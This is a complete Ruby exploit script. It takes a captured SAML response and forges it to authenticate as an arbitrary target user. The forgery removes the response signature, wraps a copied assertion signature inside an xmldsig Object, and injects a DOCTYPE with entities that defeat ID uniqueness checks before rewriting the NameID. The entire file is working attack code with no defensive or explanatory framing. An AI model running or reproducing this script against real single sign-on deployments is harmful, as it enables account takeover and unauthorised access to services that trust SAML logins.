require 'base64'
require 'cgi'
require 'nokogiri'

if ARGV.length != 2
  puts "Usage: ruby exploit.rb <response_file> <target_NameID>"
  exit 1
end

target = ARGV[1]

encoded_response = File.read(ARGV[0]).strip

decoded_response = Base64.decode64(CGI.unescape(encoded_response))

xml_doc = Nokogiri::XML(decoded_response) do |config|
    config.default_xml.noblanks
end

response_node = xml_doc.at_xpath('//*[local-name()="Response"]')
assertion_node = xml_doc.at_xpath('//*[local-name()="Assertion"]')
signature_nodes = xml_doc.xpath('//*[local-name()="Signature"]')

signature_nodes.each do |sig|
  referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
  if referenced_id == response_node['ID']
    sig.remove
  end
end

assertion_signature = signature_nodes.find do |sig|
  referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
  referenced_id == assertion_node['ID']
end

if assertion_signature
  unless assertion_signature.parent == response_node
    response_signature = assertion_signature.dup
    issuers_node = response_node.at_xpath('//*[local-name()="Issuer"]')

    if issuers_node
      issuers_node.add_next_sibling(response_signature)
    else
      response_node.add_child(response_signature)
    end

    object_node = Nokogiri::XML::Node.new('Object', xml_doc)
    object_node['xmlns'] = 'http://www.w3.org/2000/09/xmldsig#'
    response_signature.add_child(object_node)

    object_node.add_child(assertion_node.dup)
  end
end

assertion_id = assertion_node['ID']
assertion_node['ID'] = assertion_node['ID'] + 'ffff'
assertion_signature = assertion_node.at_xpath('./*[local-name()="Signature"]')
assertion_signature&.remove

response_node['ID'] = "idViaEntity"

if response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
    object_assertion = response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
    object_assertion['ID'] = 'BypassIDUniqness' + object_assertion['ID']
end

name_id_node = assertion_node.at_xpath('.//*[local-name()="NameID"]')
name_id_node.content = target if name_id_node

mutated = xml_doc.to_xml(indent: 0, save_with: 0).gsub(/idViaEntity|BypassIDUniqness/, &Proc.new {"&#{_1};"}).sub('<?xml version="1.0" encoding="UTF-8"?>'){'%s<!DOCTYPE abcd [ <!ENTITY idViaEntity "%s"> <!ENTITY BypassIDUniqness "&#x41;"> ]>' % [_1, assertion_id]}
modified_response = Base64.strict_encode64(mutated)
puts CGI.escape(modified_response)
